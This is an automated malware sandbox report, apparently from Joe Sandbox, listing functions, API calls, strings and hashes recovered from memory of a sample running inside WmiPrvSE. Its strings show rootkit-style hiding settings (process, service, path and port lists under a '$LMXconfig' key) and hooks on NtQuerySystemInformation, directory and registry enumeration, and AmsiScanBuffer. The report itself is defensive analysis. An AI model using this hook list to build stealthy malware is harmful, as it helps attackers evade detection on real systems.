RtlLookupFunctionEntry.NTDLL ref: 000001F5A968CED5
RtlVirtualUnwind.NTDLL ref: 000001F5A968CF10
IsDebuggerPresent.KERNEL32 ref: 000001F5A968CF49
SetUnhandledExceptionFilter.KERNEL32 ref: 000001F5A968CF53
UnhandledExceptionFilter.KERNEL32 ref: 000001F5A968CF5E

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 392e704d5fe8c3ada142f8273b0c6ad9d4e3e3ebca39cb4030b279e164533c73
Instruction ID: 265af7fa073f63cced41a4d1e94f6281b8e964120e5e1d5d0e8d733dbf0c3657
Opcode Fuzzy Hash: 392e704d5fe8c3ada142f8273b0c6ad9d4e3e3ebca39cb4030b279e164533c73
Instruction Fuzzy Hash: C0315E3A214F9285EB608F25E8403EE77B1FB89794F545225EB9E47B98DF38C155CB00

Function 000001F5A96814A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F5A96814C6
HeapFree.KERNEL32 ref: 000001F5A96814D5
GetProcessHeap.KERNEL32 ref: 000001F5A96814E2
HeapFree.KERNEL32 ref: 000001F5A96814F1
GetProcessHeap.KERNEL32 ref: 000001F5A9681501

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: f3e0de64b65f5cd8790649c543bda011a5d3b766c0670fbc4556caf0ac72903c
Instruction ID: adce5e3564c6a7d5c25b20aecfcf905a1bd8433ecf91a4a6759b673bab9f0196
Opcode Fuzzy Hash: f3e0de64b65f5cd8790649c543bda011a5d3b766c0670fbc4556caf0ac72903c
Instruction Fuzzy Hash: EA015736610FA2C6EB04DF6AE8081ADB7B2FB89FC9B095535DB5A47725CE34D062C740

Function 000001F5A9687E60 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001F5A9687E8C
GetCurrentThreadId.KERNEL32 ref: 000001F5A9687E9A
GetCurrentProcessId.KERNEL32 ref: 000001F5A9687EA6
QueryPerformanceCounter.KERNEL32 ref: 000001F5A9687EB6

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8df48a55f94b131e811e19ece6cc07fdaf9e855ab457e00368d898171dffc6f8
Instruction ID: b8473ececef532b8b29e6d1625c697b9a073648e87b1f68ae08b681166ed28a6
Opcode Fuzzy Hash: 8df48a55f94b131e811e19ece6cc07fdaf9e855ab457e00368d898171dffc6f8
Instruction Fuzzy Hash: FA111C3A714F128AEF008B60E8943E833B4FB19798F441A31DB6E47BA8DF78C1648340

Function 000001F5A9694048 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000001F5A9694297
RaiseException.KERNEL32 ref: 000001F5A96942A8

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 3fb59a9a99bc2d764a2805e064b6feaa44c8abd426add4eecb44b81d3d10b4c7
Instruction ID: 37250cea008fefea2f8e2036e3f9973f7bb6ce005b1595a0860a632816df0cb3
Opcode Fuzzy Hash: 3fb59a9a99bc2d764a2805e064b6feaa44c8abd426add4eecb44b81d3d10b4c7
Instruction Fuzzy Hash: 59B14D77210BA68BEB15CF2DC8463AC7BB1F744B88F159A21DB5A877A4CB39C461C740

Function 000001F5A96521DC Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

.CRT$XIZ, xrefs: 000001F5A965228B
ta$6, xrefs: 000001F5A96522CB

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: .CRT$XIZ$ta$6
API String ID: 0-322923984
Opcode ID: af941bbd925a70d38f6486cb6656ede44cc86a8b1b8ec346851b17c5dcdcb7d3
Instruction ID: 4865671cf4500982147bc944788eb6f09799dcbcd743d682cf2d1a11fe280523
Opcode Fuzzy Hash: af941bbd925a70d38f6486cb6656ede44cc86a8b1b8ec346851b17c5dcdcb7d3
Instruction Fuzzy Hash: A0A17F7A210EA682EB588F25D4507F963B6FB44B94F446226EF4A53798EF34CDA0C740

Function 000001F5A9663448 Relevance: 1.7, APIs: 1, Instructions: 227COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000001F5A9663697

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: 3fb59a9a99bc2d764a2805e064b6feaa44c8abd426add4eecb44b81d3d10b4c7
Instruction ID: 4ff693c7a892930f9efb3611fa51ed2429301f1544fea429641e286efdb14ecb
Opcode Fuzzy Hash: 3fb59a9a99bc2d764a2805e064b6feaa44c8abd426add4eecb44b81d3d10b4c7
Instruction Fuzzy Hash: 04B15D77200BD58BEB19CF29C8867AC7BB1F784B48F149A25DB5A877A4CB39C461C700

Function 000001F5A968D880 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ef49b89a962db8d8e320cc7c94e283ffa9c3c105420e2d770fa47da1115c244
Instruction ID: 94910206100de8bec8189ea12e41015661ab9d1d340f3f7027b03400d909060b
Opcode Fuzzy Hash: 2ef49b89a962db8d8e320cc7c94e283ffa9c3c105420e2d770fa47da1115c244
Instruction Fuzzy Hash: 4151C436700AA185EB209B72E8547EE7FF6FB447D4F149225EF5A27A99CA38C411C700

Function 000001F5A965CC80 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cccc5a6f2ca28c5c2185d4e81174855bb5d6027bbc1350ce747bbf740284351b
Instruction ID: c4d33393a373285f937e52fcd94ecd0e903e21a48e021fd92c6bbe65ab2da745
Opcode Fuzzy Hash: cccc5a6f2ca28c5c2185d4e81174855bb5d6027bbc1350ce747bbf740284351b
Instruction Fuzzy Hash: EE51D436700BA195FB209F72A8406EA7BB6FB44BD8F145225EF5A67B95DB38C421C700

Function 000001F5A9663290 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c9ccf06db882c3359a48238ba82c88040a2c559c1c74743137ffd670966646
Instruction ID: 54726d5d4436734cdeb4f11f492d78ba63180bf024bda3f50cd2d4ea3dd7aef7
Opcode Fuzzy Hash: 81c9ccf06db882c3359a48238ba82c88040a2c559c1c74743137ffd670966646
Instruction Fuzzy Hash: FAF062B57146A58ADFA88F2CA80376977E1F7583C0F909539E78A83F04D73C80A08F04

Function 000001F5A9681724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F5A968172F
HeapAlloc.KERNEL32 ref: 000001F5A968173E

Part of subcall function 000001F5A9681264: GetProcessHeap.KERNEL32 ref: 000001F5A968126A
Part of subcall function 000001F5A9681264: HeapAlloc.KERNEL32 ref: 000001F5A9681279
Part of subcall function 000001F5A9681264: GetProcessHeap.KERNEL32 ref: 000001F5A9681293
Part of subcall function 000001F5A9681264: HeapAlloc.KERNEL32 ref: 000001F5A96812A4

Part of subcall function 000001F5A9681000: GetProcessHeap.KERNEL32 ref: 000001F5A9681006
Part of subcall function 000001F5A9681000: HeapAlloc.KERNEL32 ref: 000001F5A9681015
Part of subcall function 000001F5A9681000: GetProcessHeap.KERNEL32 ref: 000001F5A9681028
Part of subcall function 000001F5A9681000: HeapAlloc.KERNEL32 ref: 000001F5A9681037

RegOpenKeyExW.ADVAPI32 ref: 000001F5A96817AE
RegOpenKeyExW.ADVAPI32 ref: 000001F5A96817DB
RegCloseKey.ADVAPI32 ref: 000001F5A96817F5
RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681815
RegCloseKey.ADVAPI32 ref: 000001F5A9681830
RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681850
RegCloseKey.ADVAPI32 ref: 000001F5A968186B
RegOpenKeyExW.ADVAPI32 ref: 000001F5A968188B
RegCloseKey.ADVAPI32 ref: 000001F5A96818A6
RegOpenKeyExW.ADVAPI32 ref: 000001F5A96818C6
RegCloseKey.ADVAPI32 ref: 000001F5A96818E1
RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681901
RegCloseKey.ADVAPI32 ref: 000001F5A968191C
RegOpenKeyExW.ADVAPI32 ref: 000001F5A968193C
RegCloseKey.ADVAPI32 ref: 000001F5A9681957
RegOpenKeyExW.ADVAPI32 ref: 000001F5A9681977
RegCloseKey.ADVAPI32 ref: 000001F5A9681992
RegCloseKey.ADVAPI32 ref: 000001F5A968199C

Part of subcall function 000001F5A96812B8: RegQueryInfoKeyW.ADVAPI32 ref: 000001F5A9681315
Part of subcall function 000001F5A96812B8: GetProcessHeap.KERNEL32 ref: 000001F5A9681323
Part of subcall function 000001F5A96812B8: HeapAlloc.KERNEL32 ref: 000001F5A9681334
Part of subcall function 000001F5A96812B8: RegEnumValueW.ADVAPI32 ref: 000001F5A9681393
Part of subcall function 000001F5A96812B8: GetProcessHeap.KERNEL32 ref: 000001F5A96813DB
Part of subcall function 000001F5A96812B8: HeapAlloc.KERNEL32 ref: 000001F5A96813E9
Part of subcall function 000001F5A96812B8: GetProcessHeap.KERNEL32 ref: 000001F5A9681406
Part of subcall function 000001F5A96812B8: HeapFree.KERNEL32 ref: 000001F5A9681414
Part of subcall function 000001F5A96812B8: lstrlenW.KERNEL32 ref: 000001F5A968141D
Part of subcall function 000001F5A96812B8: GetProcessHeap.KERNEL32 ref: 000001F5A968142B
Part of subcall function 000001F5A96812B8: HeapAlloc.KERNEL32 ref: 000001F5A9681439

Strings

tcp_local, xrefs: 000001F5A96818FA
udp, xrefs: 000001F5A9681970
paths, xrefs: 000001F5A9681884
startup, xrefs: 000001F5A96817D1
SOFTWARE\$LMXconfig, xrefs: 000001F5A968178E
process_names, xrefs: 000001F5A9681849
pid, xrefs: 000001F5A968180E
service_names, xrefs: 000001F5A96818BF
tcp_remote, xrefs: 000001F5A9681935

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\$LMXconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-4142111819
Opcode ID: 0f6af3d613b5716d2d939483ea722be53918ea7012dfc8c5f10971523ef45b65
Instruction ID: 23a07c552c9a8ebd74313c85f08840be843496768e8c2481701ab8ef010fd4a1
Opcode Fuzzy Hash: 0f6af3d613b5716d2d939483ea722be53918ea7012dfc8c5f10971523ef45b65
Instruction Fuzzy Hash: 0D71F83A211F6285EB109F65E8906E927B6FB84B88F416231DB4F5BB68DF34C464C340

Function 000001F5A9681E38 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F5A9681E43

Part of subcall function 000001F5A96821BC: GetModuleHandleA.KERNEL32(?,?,?,000001F5A9681E75), ref: 000001F5A96821D4
Part of subcall function 000001F5A96821BC: GetProcAddress.KERNEL32(?,?,?,000001F5A9681E75), ref: 000001F5A96821E5

Part of subcall function 000001F5A9686040: GetCurrentThreadId.KERNEL32 ref: 000001F5A968607B

Strings

PdhGetRawCounterArrayW, xrefs: 000001F5A9681F94
NtResumeThread, xrefs: 000001F5A9681E86
advapi32.dll, xrefs: 000001F5A9681F1B, 000001F5A9681F3C
pdh.dll, xrefs: 000001F5A9681F9B, 000001F5A9681FBC
NtQueryDirectoryFile, xrefs: 000001F5A9681EA3
NtEnumerateValueKey, xrefs: 000001F5A9681EFA
ntdll.dll, xrefs: 000001F5A9681E51
NtQuerySystemInformation, xrefs: 000001F5A9681E69
NtDeviceIoControlFile, xrefs: 000001F5A9681F7A
EnumServiceGroupW, xrefs: 000001F5A9681F14
NtEnumerateKey, xrefs: 000001F5A9681EDD
sechost.dll, xrefs: 000001F5A9681F5D
NtQueryDirectoryFileEx, xrefs: 000001F5A9681EC0
AmsiScanBuffer, xrefs: 000001F5A9681FD6
amsi.dll, xrefs: 000001F5A9681FDD
PdhGetFormattedCounterArrayW, xrefs: 000001F5A9681FB5
EnumServicesStatusExW, xrefs: 000001F5A9681F35, 000001F5A9681F56

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 0ae55a427d3c7638901636e96ace1ea4cd02cde3c5f2ef49fd533f815a552372
Instruction ID: a06507850a88a8c26494303d630f9c7c57c4b121417573e73ee776fd809f5f12
Opcode Fuzzy Hash: 0ae55a427d3c7638901636e96ace1ea4cd02cde3c5f2ef49fd533f815a552372
Instruction Fuzzy Hash: 814158BC110D6BA4EB04EBA4E8517F42B73AF50384F90B633E70B1B566DE788269C350

Function 000001F5A96812B8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001F5A9681315
GetProcessHeap.KERNEL32 ref: 000001F5A9681323
HeapAlloc.KERNEL32 ref: 000001F5A9681334
RegEnumValueW.ADVAPI32 ref: 000001F5A9681393

Part of subcall function 000001F5A9681530: StrCmpIW.SHLWAPI ref: 000001F5A9681561

GetProcessHeap.KERNEL32 ref: 000001F5A96813DB
HeapAlloc.KERNEL32 ref: 000001F5A96813E9
GetProcessHeap.KERNEL32 ref: 000001F5A9681406
HeapFree.KERNEL32 ref: 000001F5A9681414
lstrlenW.KERNEL32 ref: 000001F5A968141D
GetProcessHeap.KERNEL32 ref: 000001F5A968142B
HeapAlloc.KERNEL32 ref: 000001F5A9681439
StrCpyW.SHLWAPI ref: 000001F5A968145B
GetProcessHeap.KERNEL32 ref: 000001F5A9681472
HeapFree.KERNEL32 ref: 000001F5A9681480

Strings

d, xrefs: 000001F5A9681356

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 02ec3d665714d09de72fd30cd7b2591f2c5e9e5f28d6ed2dc8e5957e6ee26e2f
Instruction ID: 13a72e075ba63b86df87a58be7acb07be05016b5642c0811fa7e3ac42aa3231c
Opcode Fuzzy Hash: 02ec3d665714d09de72fd30cd7b2591f2c5e9e5f28d6ed2dc8e5957e6ee26e2f
Instruction Fuzzy Hash: DE513036200B9686EB54CF65E4483AAB7B2FB89FC9F049224DB5A47728DF38C0598740

Function 000001F5A9656E20 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F5A9656E48
__scrt_acquire_startup_lock.LIBCMT ref: 000001F5A9656E9A
_RTC_Initialize.LIBCMT ref: 000001F5A9656EC8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F5A9656EEE
__scrt_release_startup_lock.LIBCMT ref: 000001F5A9656F19

Strings

destructor', xrefs: 000001F5A9657045, 000001F5A96570B9, 000001F5A96570F3
restrict(, xrefs: 000001F5A9656EF7
ned, xrefs: 000001F5A9656EFE

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: 5499d5914bbaf338e8fd8988aa8eae15f33c4a432fdc488b3fc9270e868cdd22
Instruction ID: 281a0115f237cdfce01540164a040d626c0561bcceaadc7465c3b437b63eccfd
Opcode Fuzzy Hash: 5499d5914bbaf338e8fd8988aa8eae15f33c4a432fdc488b3fc9270e868cdd22
Instruction Fuzzy Hash: B181C07CA00E7386FB649B2599413F966F3AF85780F48A7359B0B87392DB38C865C300

Function 000001F5A968C9C8 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968C9D7
FlsGetValue.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968C9EC
FlsSetValue.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CA0D
FlsSetValue.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CA3A
FlsSetValue.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CA4B
FlsSetValue.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CA5C
SetLastError.KERNEL32(?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CA77
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CAAD
FlsSetValue.KERNEL32(?,?,00000001,000001F5A968E86C,?,?,?,?,000001F5A968BB3F,?,?,?,?,?,000001F5A9687FB0), ref: 000001F5A968CACC

Part of subcall function 000001F5A968D26C: HeapAlloc.KERNEL32(?,?,00000000,000001F5A968CBA2,?,?,?,000001F5A968D255,?,?,?,?,000001F5A968D318), ref: 000001F5A968D2C1

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CAF4

Part of subcall function 000001F5A968D2E4: HeapFree.KERNEL32(?,?,?,?,?,?,?,000001F5A968651A), ref: 000001F5A968D2FA
Part of subcall function 000001F5A968D2E4: GetLastError.KERNEL32(?,?,?,?,?,?,?,000001F5A968651A), ref: 000001F5A968D304

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CB05
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F5A969060B,?,?,?,000001F5A968FFFC,?,?,?,000001F5A968C3EF), ref: 000001F5A968CB16

Memory Dump Source

Source File: 00000009.00000002.2352615526.000001F5A9681000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001F5A9680000, based on PE: true

Associated: 00000009.00000002.2335281888.000001F5A9680000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2361164377.000001F5A9696000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491439010.000001F5A96A1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491480771.000001F5A96A3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2491533202.000001F5A96A9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1f5a9680000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ea1292907b734e9d11e3fcb84ab3080f1f1bdd44d437ee5c68a8aa9021d0ae61
Instruction ID: aa1ca9ccc57a0a004c6964f139de8c01c752a96db99e4562897ce20bbd4ee722
Opcode Fuzzy Hash: ea1292907b734e9d11e3fcb84ab3080f1f1bdd44d437ee5c68a8aa9021d0ae61
Instruction Fuzzy Hash: 4441493D201E6242FB58AB35A5A13F93AB35F487A0F14E735AB7747AD6DE28C4314201

Function 000001F5A965952C Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F5A9659589

Part of subcall function 000001F5A965A444: __GetUnwindTryBlock.LIBCMT ref: 000001F5A965A487
Part of subcall function 000001F5A965A444: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F5A965A4AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F5A9659661
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F5A96598AF
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F5A96599BC

Strings

csm, xrefs: 000001F5A9659684
tion, xrefs: 000001F5A96599C1
csm, xrefs: 000001F5A96595A3
csm, xrefs: 000001F5A965960A

Memory Dump Source

Source File: 00000009.00000003.1588342977.000001F5A9650000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F5A9650000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_3_1f5a9650000_WmiPrvSE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm$tion
API String ID: 849930591-1951732439
Opcode ID: f09f3e55a90dba3aa5aeadb654ffa2933525b3c08332907f23dcf0ef50790ffa
Instruction ID: 14a7688fc9a60c2eaeecc28a9aab213da98bcb4e8e6d436ecef43e40f32654a5
Opcode Fuzzy Hash: f09f3e55a90dba3aa5aeadb654ffa2933525b3c08332907f23dcf0ef50790ffa
Instruction Fuzzy Hash: 7FD1903A600B6186EB60DF65D4803ED77B2FB55798F542225EF8A57B9ACB38C4A4C700

Function 000001F5A9683184 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000001F5A96831D9
